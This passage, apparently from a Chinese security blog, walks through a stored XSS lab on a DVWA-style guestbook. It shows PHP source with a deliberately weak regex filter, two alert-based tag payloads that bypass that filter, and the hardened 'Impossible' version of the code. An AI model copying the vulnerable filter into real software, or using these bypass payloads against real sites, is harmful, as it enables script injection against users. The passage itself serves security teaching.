</span></span><span class="line"><span class="cl">	<span class="nv">$name</span>    <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;txtName&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize message input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">strip_tags</span><span class="p">(</span> <span class="nx">addslashes</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$message</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize name input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="nx">preg_replace</span><span class="p">(</span> <span class="s1">&#39;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$name</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$name</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Update database
</span></span></span><span class="line"><span class="cl">	<span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;INSERT INTO guestbook ( comment, name ) VALUES ( &#39;</span><span class="si">$message</span><span class="s2">&#39;, &#39;</span><span class="si">$name</span><span class="s2">&#39; );&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$query</span> <span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_error</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">:</span> <span class="p">((</span><span class="nv">$___mysqli_res</span> <span class="o">=</span> <span class="nx">mysqli_connect_error</span><span class="p">())</span> <span class="o">?</span> <span class="nv">$___mysqli_res</span> <span class="o">:</span> <span class="k">false</span><span class="p">))</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">//mysql_close();
</span></span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//依然是name参数存在XSS漏洞
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、使用其他标签绕过preg_replace函数检查</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">img</span> <span class="n">src</span><span class="o">=</span><span class="n">x</span> <span class="n">onerror</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">XSS</span><span class="o">/</span><span class="p">)</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">svg</span> <span class="n">onload</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">XSS</span><span class="o">/</span><span class="p">)</span><span class="o">&gt;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510533.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510533.png" 
             alt="image-20240425135425515" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="impossible">Impossible</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
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</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;btnSign&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Check Anti-CSRF token
</span></span></span><span class="line"><span class="cl">	<span class="nx">checkToken</span><span class="p">(</span> <span class="nv">$_REQUEST</span><span class="p">[</span> <span class="s1">&#39;user_token&#39;</span> <span class="p">],</span> <span class="nv">$_SESSION</span><span class="p">[</span> <span class="s1">&#39;session_token&#39;</span> <span class="p">],</span> <span class="s1">&#39;index.php&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;mtxMessage&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$name</span>    <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;txtName&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize message input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">stripslashes</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$message</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize name input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="nx">stripslashes</span><span class="p">(</span> <span class="nv">$name</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$name</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span> <span class="nv">$name</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Update database
</span></span></span><span class="line"><span class="cl">	<span class="nv">$data</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">prepare</span><span class="p">(</span> <span class="s1">&#39;INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$data</span><span class="o">-&gt;</span><span class="na">bindParam</span><span class="p">(</span> <span class="s1">&#39;:message&#39;</span><span class="p">,</span> <span class="nv">$message</span><span class="p">,</span> <span class="nx">PDO</span><span class="o">::</span><span class="na">PARAM_STR</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$data</span><span class="o">-&gt;</span><span class="na">bindParam</span><span class="p">(</span> <span class="s1">&#39;:name&#39;</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="nx">PDO</span><span class="o">::</span><span class="na">PARAM_STR</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$data</span><span class="o">-&gt;</span><span class="na">execute</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Generate Anti-CSRF token
</span></span></span><span class="line"><span class="cl"><span class="nx">generateSessionToken</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
  </channel>
</rss>
